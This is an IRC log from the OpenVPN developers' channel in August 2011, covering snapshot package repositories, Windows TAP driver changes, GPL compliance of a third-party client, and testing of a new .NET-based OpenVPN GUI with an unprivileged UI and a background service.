joined #openvpn-devel 01:25 < vpnuser> what time does the devel group available? 01:25 < vpnuser> !meetings 01:25 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 01:27 -!- vpnuser [~vpnuser@119.93.51.34] has quit [] 01:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:01 <@mattock> hey, could somebody paste yesterday's meeting chatlog somewhere? 02:01 <@mattock> I only have bits and pieces all around :) 02:25 <@mattock> I wonder what's the status of this patch: https://community.openvpn.net/openvpn/ticket/15 02:25 <@vpnHelper> Title: #15 ([PATCH] Enabling Accounting/Stats for plugins) – OpenVPN Community (at community.openvpn.net) 02:33 <@andj> Hi everyone 02:33 <@andj> Just a quick question from my testing: is there a reason why server mode is disabled on Windows? 02:42 <@mattock> andj: it shouldn't be on latest versions 02:42 <@mattock> which version are you speaking of? 02:42 <@andj> 2.1.4 02:43 <@andj> Playing with an old version, as that's the one that's being looked at for approval 02:43 <@vpnHelper> RSS Update - tickets: #151: Fedora snapshot packages missing <https://community.openvpn.net/openvpn/ticket/151> 02:44 <@andj> Main question: it should just work, right? 02:44 <@mattock> yeah, it should 02:44 <@andj> if I enable it, or are there issues 02:44 <@andj> cool 02:44 <@andj> thanks 02:54 -!- dazo_afk is now known as dazo 02:56 <@mattock> andj, dazo: can you copy-and-paste yesterday's meeting chatlog somewhere? 02:56 <@mattock> I have only bits and pieces 02:58 <@dazo> mattock: just a sec, got it almost ready for you 02:59 <@dazo> mattock: http://www.fpaste.org/4bTP/ ... you might need to trim it a bit 03:06 <@vpnHelper> RSS Update - tickets: #152: Missing yum repository for RPM snapshot builds <https://community.openvpn.net/openvpn/ticket/152> 03:06 <@mattock> dazo: thanks! 03:19 <@dazo> mattock: just updated your ticket #152 with some qualified guessing of how to do yum repositories 03:20 <@mattock> dazo: thanks again! 03:20 <@mattock> also, proXPN is now GPLv2-compliant 03:20 <@dazo> goodie! 03:20 <@mattock> unless they're really nasty and lie to us, but I doubt it 03:21 <@mattock> sources for 2.1.4 and 2.2.0 and tunnelblick are now available on their site 03:21 <@dazo> I saw the mails you Bcc'd me 03:21 <@dazo> we could run our openvpn versions and their openvpn versions (binary) through a disassembler to see how much it differs 03:22 <@dazo> but someone good at assembly should probably have a look at that 03:23 <@mattock> yeah, that's one option 03:23 <@mattock> they removed the FAQ entry with "performance with standard OpenVPN won't be as good as with proXPN client" 03:23 <@mattock> blaming the marketing guys :) 03:24 <@dazo> those versions would differ, due to compiler differences and optimisation flags ... however, it shouldn't differ too much ... we should be able to figure out optimisation flags which makes it close enough 03:24 <@dazo> yeah, I saw that ... and thought: Daring, but so often true! 03:25 <@mattock> actually, I've setup a yum repo for CentOS in the past... createrepo rings a bell :) 03:25 <@dazo> :) 03:26 <@mattock> is my analysis on Fedora users (the other ticket) correct in your opinion? 03:26 <@mattock> i.e. is Fedora a good target for snapshot RPMs? 03:27 <@dazo> definitely, it's a fast moving target, just as our own shapshots will be 03:28 <@dazo> however, we might benefit if we have a ScientificLinux/CentOS target as well ... but basing on v6 should be enough 03:28 <@dazo> (people installing test environments will most likely choose v6 rather than v5) 03:30 <@mattock> well, once one RPM is ready, generating another one is easy 03:30 <@mattock> same goes for yum repos 03:32 <@mattock> it seems I can host the repos on build.openvpn.net (Debian) 03:32 <@mattock> which is nice 03:32 <@mattock> for some reason installation of Fedora 15 i386 on CentOS 5 KVM VM did not work out when I tried 03:32 <@mattock> a while ago 03:33 <@mattock> the boot process just froze at some point 03:34 <@dazo> mattock: Try F14 :-P 03:35 <@dazo> I believe F15 is challenging on older KVMs 03:58 <@vpnHelper> RSS Update - tickets: #153: Add "RequestExecutionLevel admin" to tapinstall.exe manifest file <https://community.openvpn.net/openvpn/ticket/153> 04:10 <@vpnHelper> RSS Update - tickets: #154: No client-to-client in server config, but also can ping other client which logined vpn <https://community.openvpn.net/openvpn/ticket/154> 04:21 <@mattock> dazo: should this be fixed for 2.2.2, too: https://community.openvpn.net/openvpn/ticket/143 04:21 <@vpnHelper> Title: #143 (remote-random-hostname bug) – OpenVPN Community (at community.openvpn.net) 04:23 <@dazo> hmm ... I'd say we should fix the documentation on that one 04:24 <@dazo> I see more challenges with moving over to random chars, as you need to be more sure what kind of data you put out 04:24 <@dazo> using hex numbers is safer, per def 04:28 <@dazo> however, we might consider to flip around the order 04:29 <@dazo> I'd like to have this one discussed with James ... as this is one of his inventions, and I don't want to regress if this is something important for AS 04:38 <@andj> hmm, another question related to my earlier one 04:39 <@andj> Did something significant change in the tap driver change from 2.1.4 -> 2.2? 04:39 <@andj> I can get server mode working on windows with 2.1.4 with the 2.2 tun device 04:39 <@andj> but not with the 2.1 tun device 04:39 <@andj> which is a bit weird 04:41 <@mattock> andj: strange indeed... 04:42 <@mattock> added a new "Add PolarSSL support to OpenVPN" ticket to Trac... mostly to allow people to see what's coming up in 2.3 04:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:42 <@mattock> it wasn't explicitly said anywhere else 04:43 <@dazo> andj: yes, IPv6 enablement was added to the 2.2 wintap driver 04:43 <@mattock> andj: re: tap in 2.1.4 -> 2.2... IPv6 support is the only major change, I think 04:43 <@mattock> dazo: beat you on this one :) 04:44 <@andj> ok, in that case I'll debug a bit more :) 04:44 <@andj> thanks 04:44 <@andj> I think it's got something to do with routing, but can't quite get my finger on it 04:44 <@vpnHelper> RSS Update - tickets: #155: Add PolarSSL support to OpenVPN <https://community.openvpn.net/openvpn/ticket/155> 04:44 <@andj> I'm more into crypto than networking 04:44 <@andj> :) 04:45 <@mattock> andj: did you check out this page: https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers 04:45 <@vpnHelper> Title: ManagingWindowsTAPDrivers – OpenVPN Community (at community.openvpn.net) 04:46 <@andj> yeah, I'd found that, but I'll play with them a little, thanks 04:54 <@andj> hmm, strange, a reboot fixed it 04:54 <@andj> I guess it's still true: when in doubt: reboot 04:54 * andj blushes 04:58 * dazo would kick Windows to a bluescreen for its stupidity before flushing :-p 05:03 <@mattock> andj: Windows lore, which still holds true :) 07:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 08:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 10:57 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 276 seconds] 12:12 -!- dazo is now known as dazo_afk 15:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:13 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving.] --- Day changed Sat Aug 13 2011 04:53 <@cron2> mattock, dazo: the code changes to the tap driver for 2.2 are extremely isolated, and only touch code that is never visited for IPv4 packets. 05:51 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:23 -!- s7r is now known as Guest96170 11:27 -!- Guest96170 [~s7r@openvpn/user/s7r] has quit [Ping timeout: 276 seconds] 11:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:09 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has joined #openvpn-devel 14:10 < uuuppz> mirical I rememeber my pw 14:10 <+ecrist> ? 14:10 < uuuppz> to my nick 14:10 < uuuppz> the +r channel made me need it 14:10 <+ecrist> ah, yeah, we've been getting spam in here. 14:12 <+ecrist> if I may make a suggestion, is it possible to install OpenVPN UI to the OpenVPN folder? 14:13 < uuuppz> why would you want that right now? 14:13 < uuuppz> I deliberately put it somewhere else so it wouldn't interfere with anything 14:13 < uuuppz> is ure openvpn folder in the non default location? cos I did add a registry key to override where the install folder is.... 14:16 <+ecrist> uuuppz: https://skitch.com/ecrist/fxrwq/ovpn-ui-error 14:16 <@vpnHelper> Title: ecrist | skitch.com (at skitch.com) 14:16 <+ecrist> see the screen shot above. 14:18 <+ecrist> note the IP address listed is a 169. self-assigned address, when in reality, the IP HAS been assigned. 14:18 <+ecrist> also, you show v4 address, but v6 addresses for DNS 14:18 < uuuppz> ah there must have been a delay in getting the ip address 14:19 < uuuppz> I need to update that then obviously 14:19 < uuuppz> ok but at high level.... 14:19 < uuuppz> try putting incorrect username/password in 14:23 <+ecrist> i like that 14:23 < uuuppz> :) 14:23 < uuuppz> doesn't work for all errors yet 14:23 <+ecrist> I don't like screens jumping around, though, so, could you make the password dialog a popup? 14:23 < uuuppz> no way :) 14:23 < uuuppz> I had it as a popup 14:24 < uuuppz> exactly what I wanted to avoid 14:24 < uuuppz> I could maybe add a transition 14:24 <+ecrist> also, when I press 'connect' for a connection that needs a username/password, the cursor should be in the username box right away, I have to click to get it there. 14:24 < uuuppz> e.g smooth the jumping 14:25 <+ecrist> that'd be fine, too 14:25 <+ecrist> I hate when web pages do it, too, so I'm not picking on you. 14:26 < uuuppz> ah your giving opinion, nd your the only one to have done so far. I'll listen to all of it, nd try to accomodate 14:26 < uuuppz> pick away 14:26 <+ecrist> I like the new layout a lot better, though. 14:26 <+ecrist> :) 14:27 < uuuppz> yeh much happier with it myself 14:27 < uuuppz> I knew the tabs wouldn't work for more than a couple of connections 14:28 <+ecrist> could you add a 'copy to clipboard' button for the log? 14:28 <+ecrist> that way, users can paste easily somewhere? 14:28 <+ecrist> i.e. pastebin when their shit's broken. 14:29 <+ecrist> also, maybe a quick way to override --verb from the gui? 14:30 < uuuppz> hmmm 14:30 < uuuppz> I'll think about that 14:30 < uuuppz> I see where your going 14:31 < uuuppz> I'm just not sure how I feel about letting the gui cause anything to be override on the service launching 14:31 < uuuppz> I was thinking of a seperate admin gui 14:31 < uuuppz> on a seperate named pipe 14:31 < uuuppz> this one u need to be a local admin to access 14:37 <+ecrist> well, you don't have to change the config, just allow --verb to be listed on the command line 14:37 <+ecrist> :) 14:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:40 < uuuppz> heh ok I'll put it on the list 14:41 < s7r> anyone knows if --cipher is not specified then by default openvpn will use Blowfish-CBC but with what key size ? 14:42 <+ecrist> s7r: you'll have to look in the code. 14:42 < s7r> ecrist: what code? 14:43 <+ecrist> the openvpn code 14:43 < s7r> I am sorry but I don't understand :-s i`m sure it's just me 14:43 < s7r> don't you happen to know the keysize default for blowfish cbc ? 14:47 <+ecrist> no, I don't 14:48 < uuuppz> Ok now it detects process restarting and goes back to the connecting state 14:48 < uuuppz> nd also detects failure to load cert 14:50 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 15:03 < uuuppz> so appart from your jumpyness comments nd verb nething else the pops out? 15:05 <+ecrist> not at the moment, no. 15:37 < uuuppz> whats the status of ipv6 support in ovpn? 15:39 <+ecrist> it will be supported in 2.3 15:39 <+ecrist> :) 15:40 < uuuppz> u see atm I just filter the ipv6 ips for the ip address 15:40 < uuuppz> and I didn't do that for the dns 15:40 < uuuppz> if I do that it will fix what you reported 15:40 < uuuppz> but 15:40 < uuuppz> really ipV6 is coming 15:41 < uuuppz> so maybe I shouldn't be hiding them 15:41 < uuuppz> but v6 addresses are ugly! 15:41 <+ecrist> heh, they can be, yeah 15:42 < uuuppz> hm what to do 15:44 <+ecrist> well, detect version of openvpn, and hide them for < 2.3 15:44 <+ecrist> that's easy for now. 15:45 < uuuppz> hm I'm kinda thinking 15:46 < uuuppz> I need a better way of handling it 15:55 < uuuppz> back shortly 15:55 < uuuppz> going back home 16:00 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has quit [Ping timeout: 260 seconds] 17:26 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 18:29 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 240 seconds] 18:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 19:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:11 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 22:19 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 258 seconds] --- Day changed Sun Aug 14 2011 01:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:46 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 10:39 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 276 seconds] 11:01 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has joined #openvpn-devel 11:22 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has quit [Ping timeout: 240 seconds] 14:38 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 17:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:31 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Mon Aug 15 2011 01:39 -!- dazo_afk is now known as dazo 04:01 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 05:37 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 250 seconds] 05:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:24 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:51 <@d12fk> dazo: is your merge queue somewhere public 06:56 <@dazo> d12fk: well, not more than what's ACKed in meetings or in ML 06:57 <@d12fk> ok, so as soon as a patch is acked once it'll be merged and need not be resubmitted? 06:57 <@dazo> d12fk: correct 06:57 <@d12fk> ueno 06:58 <@d12fk> +b 06:58 <@dazo> d12fk: but I'll be honest with you and say that I've lost a bit overview lately ... so please ping me about important stuff 06:58 <@d12fk> dazo: nothing important just general interest 06:59 <@dazo> :) 07:30 <+ecrist> !mtu 07:30 <@vpnHelper> "mtu" is (#1) see --mtu-test to learn how to test your MTU settings. Basically you just use --mtu-test in your normal client config, or (#2) mtu debugging guide: http://www.secure-computing.net/wiki/index.php/OpenVPN/Troubleshooting --- Log closed Mon Aug 15 07:30:42 2011 --- Log opened Mon Aug 22 07:54:28 2011 07:54 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 07:54 -!- Irssi: #openvpn-devel: Total of 14 nicks [6 ops, 0 halfops, 1 voices, 7 normal] 07:54 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 07:54 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:29 -!- cRush-work [~crush@67-61-224-160.cpe.cableone.net] has joined #openvpn-devel 09:21 -!- cRush-work [~crush@67-61-224-160.cpe.cableone.net] has quit [] 09:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:03 -!- dazo is now known as dazo_afk 10:06 < uuuppz> http://ultravpn.fr/ 10:06 <@vpnHelper> Title: UltraVPN - A Free VPN (at ultravpn.fr) 10:06 < uuuppz> love the ethics 10:06 < uuuppz> "You cannot use UltraVPN to send spam. If you use UltraVPN to commit hacking, you are required to cover your traces." 10:32 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:59 < uuuppz> ecrist: I've made things quite smooth now :) 11:44 <+ecrist> shoot me a link 14:37 < uuuppz> http://sourceforge.net/projects/openvpnui/files/OpenVPN-UI-1.0.0.4.zip/download 14:37 <@vpnHelper> Title: Download OpenVPN UI from SourceForge.net (at sourceforge.net) 15:00 < uuuppz> probably last version for a while 15:00 < uuuppz> unless any shop stoppers arrise 15:01 < uuuppz> got busy 18:08 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 240 seconds] 20:53 <+ecrist> heh, it doesn't run at all on my win 7 box 20:53 <+ecrist> it starts, then crashes 20:54 <+ecrist> Faulting application name: Esp.Tools.OpenVPN.UI.exe, version: 1.0.0.3, time stamp: 0x4e52b1ab 20:54 <+ecrist> Faulting module name: KERNELBASE.dll, version: 6.1.7601.17651, time stamp: 0x4e211319 20:54 <+ecrist> Exception code: 0xe06d7363 20:55 <+ecrist> Faulting application name: WerFault.exe, version: 6.1.7600.16385, time stamp: 0x4a5bc2d9 20:55 <+ecrist> Faulting module name: KERNELBASE.dll, version: 6.1.7601.17651, time stamp: 0x4e211319 20:55 <+ecrist> Exception code: 0xe06d7363 --- Day changed Tue Aug 23 2011 01:40 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 02:09 <@mattock> ecrist: welcome back! haven't been around for a while 03:08 <@mattock> fyi: I'll do LDAP upgrade/migration on Thursday morning 04:03 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 252 seconds] 04:04 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 04:06 -!- dazo_afk is now known as dazo 04:21 -!- uuuppz [~uuuppz@213.79.53.61] has quit [] 04:48 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 04:52 -!- dazo is now known as dazo_afk 04:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 05:28 -!- dazo_afk is now known as dazo 06:40 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 250 seconds] 07:00 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has joined #openvpn-devel 07:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:29 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has quit [] 07:41 <+ecrist> hi mattock. :) 10:15 <@d12fk> anyone with an opinion here? 10:17 <@d12fk> is there a use case for the current service behaviour, once the new service is ready? 10:44 <+ecrist> d12fk: are you writing a new windows server? 10:44 <+ecrist> service* 10:45 <@d12fk> yes 10:47 <+ecrist> uuuppz wrote a new one, as well. 10:47 <+ecrist> have you two talked at all? 10:52 <@dazo> I tried to get uuuppz to get in touch with d12fk, but he wasn't that much interested ... as uuuppz is a firm believer in .Net and has made all his stuff there and didn't see any benefit of not continuing his plans 10:54 <@dazo> d12fk: I think what would be beneficial (without knowing anything at all about your implementation) is that the service provides a communication channel for the UI, to exchange configs, start/stop the openvpn process with the given config, to grab log files and exchange authentication data needed by the openvpn process (username/password, cert/key passwords, etc) 10:55 <@dazo> the UI should be able to run absolutely unprivileged and the service with the proper privileges to do openvpn stuff 10:56 <@dazo> then, it could be cool if the UI could then have a feature to download and validate a config on-the-fly (PGP signed data?) and start that connection 10:56 <@dazo> the UI would then need to have PGP support, with possibility to configure which signers are trusted and not 10:57 <@dazo> or doesn't need to be PGP ... data can be signed with SSL as well 10:57 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has joined #openvpn-devel 10:57 * dazo heads out 10:58 < uuuppz> hi and good bye so 11:02 -!- dazo is now known as dazo_afk 11:10 <+ecrist> uuuppz: your shit is broke 11:14 < uuuppz> ? 11:14 < uuuppz> how so? 11:15 < uuuppz> we've got it on a few pcs working 11:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 11:16 < uuuppz> had a problem installing on one, required an uninstall and reinstall. Don't know why on that one. 11:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:18 <+ecrist> uuuppz: on my vm, it starts, then immediately crashes. 11:18 <+ecrist> http://www.pastie.org/2417488 11:18 < uuuppz> ok first can you check if the "OpenVPN UI Host Service" 11:18 < uuuppz> is running 11:19 <+ecrist> sure, let me fire it back up and look 11:19 <+ecrist> also, you aren't uninstalling automatically still 11:20 * ecrist really wishes you'd work with us and enhance the built-in UI 11:20 < uuuppz> well you can have this UI 11:20 < uuuppz> if you want to put it in the main 11:20 < uuuppz> but I'm not working with the existing UI code as its c/direct gdi calls. 11:20 <+ecrist> I'd rather you came with it. :) 11:21 < uuuppz> well I'm not going anywhere just yet 11:21 < uuuppz> we're using openvpn a lot so dev aint likely to stop on the ui 11:21 <+ecrist> we'd even give you +o and a developer host cloak, if you could be bribed. ;) 11:22 < uuuppz> lol 11:23 <+ecrist> ok, looking, the UI Host Service isn't started, but it's listed as automatic 11:23 < uuuppz> ok 11:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:23 < uuuppz> try starting it 11:23 <+ecrist> so, for some reason, it's not starting automatically 11:23 < uuuppz> see if the ui works after that 11:23 <+ecrist> nope, still crashes immediately 11:23 < uuuppz> ok 11:24 < uuuppz> stop the service 11:24 < uuuppz> then uninstall openvpn ui 11:24 < uuuppz> and install the 1.0.0.4 package again 11:24 < uuuppz> I have a feeling that sometimes the uninstaller doesn't do its job properly when the service is already started 11:25 < uuuppz> one of my guys pc's had a problem earlier and it sounds like the same symptoms as yours. 11:25 <+ecrist> which is why you should just handle the install/deinstall yourself. ;) 11:25 < uuuppz> nope would have the same issue I think 11:25 < uuuppz> as all I'd be doing is triggering the same uninstaller 11:25 < uuuppz> as you did yourselgf 11:25 <+ecrist> nope, you could script it such that the service was stopped before the call to uninstall 11:26 < uuuppz> thats what the uninstaller does 11:26 < uuuppz> at least on my pc it does 11:26 < uuuppz> windows installer is a pain in the ass 11:26 < uuuppz> is basically the problem 11:27 <+ecrist> after deinstall/reinstall, it still crashes immediately 11:27 <+ecrist> let me force-start the service again 11:27 < uuuppz> something is oddly screwy 11:27 < uuuppz> if force starting the service doesn't work 11:27 < uuuppz> reboot the vm 11:27 < uuuppz> urg! 11:27 <+ecrist> this is freshly booted 11:28 <+ecrist> the only reason I've booted this VM in the past 2 months is to help you test this. 11:28 <+ecrist> I don't use windows very often. 11:30 < uuuppz> ah so you didn't suspend 11:30 <+ecrist> no 11:30 < uuuppz> ok then uninstall 11:30 < uuuppz> reboot vm 11:30 < uuuppz> reinstall 11:30 < uuuppz> sometimes I hate windows as well :) 11:30 <+ecrist> that's not realistic, though, really 11:31 < uuuppz> tbh for a windows user it is 11:31 < uuuppz> I'd like to know why its happening 11:31 <+ecrist> I'll jump through the hoops, but I'd argue the problem is in 1.0.0.4 11:31 < uuuppz> but I doubt we're gonna work that out remotely 11:31 < uuuppz> doubt it since I didn't change the installer 11:31 < uuuppz> except rebuild it obviously 11:32 < uuuppz> my networks guy will be upgrading a few machines 11:32 < uuuppz> if he hits the same issue 11:32 < uuuppz> I can physically see a machine with it then 11:33 <+ecrist> uninstalled, rebooting now 11:33 < uuuppz> and if it is decided to include it in the mainline openvpn release 11:33 < uuuppz> then my installer won't be needed 11:36 <+ecrist> still crashes 11:37 < uuuppz> can you get any detail from the crash window? 11:37 < uuuppz> any stack trace being show to you? 11:37 <+ecrist> nope, it just disappears 11:38 <+ecrist> I see the icon show up, and it stays there until I put my mouse over it 11:38 < uuuppz> ah check in event log 11:38 <+ecrist> then it vanishes 11:38 <+ecrist> you didn't look at my paste earlier. 11:38 <+ecrist> :\ 11:38 < uuuppz> is the service started? 11:38 < uuuppz> yeh I did 11:38 <+ecrist> yes, the service is started 11:38 < uuuppz> is that from event log? 11:38 <+ecrist> the paste is from the event log 11:38 < uuuppz> ok nothing else in the event log? 11:41 <+ecrist> looking 11:41 <+ecrist> http://www.pastie.org/2417594 11:43 < uuuppz> generic as hell unfortuantly 11:44 <+ecrist> that's all I've got. 11:45 < uuuppz> ok 11:45 < uuuppz> in your program files\espopenvpngui 11:45 <+ecrist> uuuppz: I can setup gotomypc.com or something 11:45 < uuuppz> dir 11:45 < uuuppz> oh you can? 11:45 <+ecrist> give me a few 11:46 < uuuppz> vnc is better if its possible 11:46 < uuuppz> (no third party) 11:46 < uuuppz> but whatever is easiest for you 11:51 < uuuppz> dsl-46-63.dsl.netsource.ie 11:51 < uuuppz> thats where I am connecting from if you need to do firewall 12:45 < uuuppz> ecrist: u gonna be a while or soon - I'll be moving home sometime soonish 12:46 <+ecrist> go ahead, I won't get back to this today 13:16 < uuuppz> ok later so 13:20 -!- uuuppz [~uuuppz@dsl-46-63.dsl.netsource.ie] has quit [Ping timeout: 252 seconds] 13:40 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 13:44 < uuuppz> ecrist: definitely do want to see that vm when you get a chance, its occurred to me that it is 13:44 < uuuppz> possible that the tricks I am using to make things smooth 13:44 < uuuppz> could trip up if win7 is running in one of the lower graphics modes 13:44 < uuuppz> which is quite quite possible if its in a vm 13:45 < uuuppz> other option if you have bandwidth would just to give me the vm itself if theres nothing on it which would present a security risk to you. 13:48 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:48 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:57 <@raidz> uuuppz: what the link to the installer? 13:57 < uuuppz> http://sourceforge.net/projects/openvpnui/files/OpenVPN-UI-1.0.0.4.zip/download 13:57 <@vpnHelper> Title: Download OpenVPN UI from SourceForge.net (at sourceforge.net) 13:59 * uuuppz hopes it actually installs for raidz 14:09 <@raidz> uuuppz: I will try now 14:11 < uuuppz> cool 14:14 <@raidz> uuuppz: http://zd.raidz.net/?view=./screens/screenshot95.png 14:14 <@vpnHelper> Title: zd.raidz.net - [http://zd.raidz.net/] (at zd.raidz.net) 14:14 <@raidz> looks to have installed 14:15 < uuuppz> cool 14:15 < uuuppz> u should be able to connect/disconnect 14:15 < uuuppz> thats xp on a vm or physical? 14:16 <@raidz> http://zd.raidz.net/?view=./screens/screenshot96.png 14:16 <@vpnHelper> Title: zd.raidz.net - [http://zd.raidz.net/] (at zd.raidz.net) 14:16 <@raidz> vm, win7 64bit 14:16 < uuuppz> ok sry yeh 14:16 < uuuppz> hows the smooth resizing? 14:16 < uuuppz> does it live up to that description? :) 14:16 <@raidz> works great, this is pretty slick 14:17 < uuuppz> thanks 14:20 <+ecrist> uuuppz: there are things in the image that are private, so I cannot give you the VM, though I had thought about that. 14:20 <+ecrist> it's not running in a low graphics mode, either 14:21 < uuuppz> ok 14:21 < uuuppz> just a thought 14:21 < uuuppz> raids screenshot kinda disproves it nehow 14:23 <+krzie> uuuppz, you making a new GUI? 14:23 < uuuppz> kinda already done 14:23 <+ecrist> krzie: it's actually really nice 14:23 <+krzie> ya it looks pretty sweet from that screenshot 14:23 < uuuppz> ecrist: thanks for all your comments btw, it turned out completely different because of them 14:24 <+krzie> ^5 @ uuuppz 14:24 * ecrist doesn't see the requested 'send log to pastebin' button 14:24 <+ecrist> :'( 14:25 < uuuppz> oh theres "copy all messages" 14:26 <+krzie> nice request eric! 14:27 <@raidz> 10x 14:28 !services. [ChanServ:#openvpn-devel] ecrist set flags +vOtsr on uuuppz. 14:28 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 14:28 <@uuuppz> oh thanks 14:28 <+ecrist> that's right, I have verbose set in here. 14:28 <@raidz> uuuppz: you gonna incorporate a way to download and install the openvpn client during install of this ui, or do you assume most will already have the binary installed? 14:29 <@uuuppz> raidz: I was thinking about this, hadn't really come to a conclusion. This isn't really meant to be a completely mass appeal ready version yet. 14:29 <+krzie> raidz, maybe once the UI is accepted we can just change UI in the official release...? 14:29 <@raidz> understood, it would be cool if you did 14:30 <+krzie> if the powers that be agree of course ;] 14:30 <@raidz> krzie: that would work too ;-) 14:30 <+ecrist> um, you're one of those powers, krzie 14:30 <@raidz> haha 14:30 <+krzie> ecrist, one of many ;] 14:30 <+ecrist> well, right 14:30 <+ecrist> you're like me, though, you pretend like you're not involved 14:30 <@raidz> I definitely think it is a step up from the current ui 14:31 <+ecrist> the *only* reservation I have is the dependency on .Net, but I don't think it's as big a deal with Win 7 as it was with XP and older 14:31 <@raidz> Oh no 14:31 <@raidz> which version? 14:31 <+krzie> i just got back from vacation so i didnt even know it existed... but from the screenshots i just saw i like it 14:31 <+ecrist> .Net 3 was a pain in the ass. 14:32 <+ecrist> krzie: it's much more polished now than it used to be 14:32 <+ecrist> supports user/pass, logs, bandwidth utilization/etc 14:32 <+ecrist> I really like 14:32 <+krzie> ooo, stepping it up a notch! 14:32 <+ecrist> OH, and it uses a background service, so the UI doesn't need admin rights 14:32 <+krzie> ohhhhhh 14:32 <+krzie> that is SWEET 14:33 <@raidz> that is very cool 14:33 <+ecrist> the service handles all the openvpn connections, the UI talks to it 14:33 <+krzie> allow me to pre-vote with a +1 on changing to that UI when its ready 14:33 <+krzie> lol 14:33 <@raidz> that .net 3 dependency is a bummer though, we had a lot of issues when we released the desktop client for as, it had a .net dependency and we eventually discontinued it because of that 14:34 <+krzie> ya .NET can be a pita 14:34 <+krzie> i just had to set some stuff up that required specificly .NET 3.5 SP1 14:34 <@raidz> our customers were pissed that they had to donwload a big library just to run our client 14:34 <+krzie> pita x 5 for slow connection 14:34 <@raidz> yup 14:37 <@uuuppz> lol 14:37 <@uuuppz> sry not.net 3 14:37 <@uuuppz> .net 4 14:37 <@uuuppz> :P 14:37 <@raidz> nooooo 14:38 <@raidz> uuuppz: you're killing me :-p 14:38 <@uuuppz> off the top of my head 14:38 <@uuuppz> I think it will run on .net 3.51sp1 with just a recompile 14:38 <@uuuppz> don't *think* I used any .net 4 features 14:38 <@raidz> .net 4 isn't included by default even in the newest os's 14:38 <@uuuppz> yeh I tend to develop against latest and greatest 14:38 <@uuuppz> and then work backwards 14:38 <@uuuppz> if neccessary 14:38 <@raidz> If you can, I would suggest recompiling to get it to work with 3.5 is possible 